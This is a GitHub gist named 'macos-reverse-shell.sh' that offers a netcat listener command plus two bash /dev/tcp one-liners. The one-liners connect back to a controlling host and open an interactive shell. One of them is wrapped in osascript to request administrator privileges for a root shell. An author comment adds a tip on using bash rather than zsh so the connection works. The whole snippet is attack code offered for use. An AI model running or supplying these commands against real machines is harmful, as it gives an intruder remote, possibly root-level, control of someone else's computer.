Skip to content

Instantly share code, notes, and snippets.

@Metnew
Created December 6, 2018 17:47
Show Gist options
  • Select an option

  • Save Metnew/09a50c38d398c482b2df59082f0d13c6 to your computer and use it in GitHub Desktop.

Select an option

Save Metnew/09a50c38d398c482b2df59082f0d13c6 to your computer and use it in GitHub Desktop.
macos-reverse-shell.sh
# C2
# nc -l 1337
# Root
osascript -e "do shell script \"bash -i >& /dev/tcp/client.ip/1337 0>&1 \" with administrator privileges"
# User
bash -i >& /dev/tcp/client.ip/1337 0>&1
@Metnew

Metnew commented Jan 21, 2019

Copy link
Copy Markdown
Author

make sure you're running this in bash not zsh
/dev/tcp/hostname/port might be treated as file not as pipe

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment